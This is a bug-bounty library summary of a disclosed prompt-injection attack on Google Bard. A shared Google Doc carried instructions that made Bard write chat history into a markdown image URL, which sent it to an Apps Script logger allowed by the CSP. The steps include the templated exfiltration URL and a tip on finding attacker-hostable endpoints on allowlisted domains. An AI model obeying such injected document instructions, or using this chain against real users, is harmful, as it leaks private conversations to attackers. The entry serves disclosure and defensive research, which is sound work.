# Hacking Google Bard - From Prompt Injection to Data Exfiltration

Indirect prompt injection via Google Docs made Bard render attacker markdown images, exfiltrating chat history through a CSP-bypassing Apps Script logger.

- Payout: Research
- Severity: high
- Program: Google
- Write-up by: Johann Rehberger
- Disclosed: 2023-11-03
- Write-up quality: 8/10
- Original: https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/
- Library page: https://bugbountylibrary.com/r/blog%3Aembracethered-com-blog-posts-2023-google-bard-data-exfiltration
- Tags: area:ai domain:ai impact:data-leak kind:research platform:research sev:high tech:llm technique:chained technique:oob-exfil vuln:info-disclosure vuln:prompt-injection

**Target:** LLM chat assistant with Extensions (Drive/Docs/Gmail) and markdown image rendering
**Root cause:** Bard rendered LLM-produced markdown image tags as HTML and loaded arbitrary URLs, and ingested untrusted document content as instructions without separating data from commands.
**Steps:**
1. Create a Google Doc containing instructions telling the LLM to print chat history into an image markdown URL `![d](https://script.google.com/.../exec?words=HISTORY)` with spaces encoded as `+`, plus few-shot examples.
2. Deploy a Google Apps Script web app (no auth) that logs query params to a Google Doc, hosted on script.google.com to satisfy CSP.
3. Force-share the malicious Doc with the victim; when victim brings it into Bard context, injection triggers.
4. Bard renders `<img src=...>` causing zero-click request to the logger, exfiltrating chat history.
**How found:** Noticed Bard Extensions ingest untrusted data (Docs/Gmail/YouTube), validated prompt injection by pointing Bard at own videos/docs and observing instruction-following; then explored known LLM chat-history exfil via markdown image rendering, hit CSP blocking arbitrary image hosts, and reasoned that *.google.com/*.googleusercontent.com were allowed, leading to Apps Script as an attacker-hostable endpoint on those domains.
**Exploitation:** Attacker force-shares a Google Doc with injected instructions; victim interacts with it via Bard, LLM emits markdown image whose src points to an attacker Apps Script endpoint on google.com (CSP-allowed), browser auto-loads it and leaks conversation data into the logger's Google Doc.
**Escalation:** Chained indirect prompt injection (untrusted Doc/Email ingestion) with markdown image rendering and a CSP bypass via Google Apps Script to achieve zero-click exfiltration.
**Insight:** When CSP allowlists broad wildcard domains like *.google.com, look for user-deployable services hosted on those domains (e.g. Apps Script web apps with anonymous access) to host exfil endpoints; also test whether LLM markdown image rendering auto-fires requests for zero-click leaks.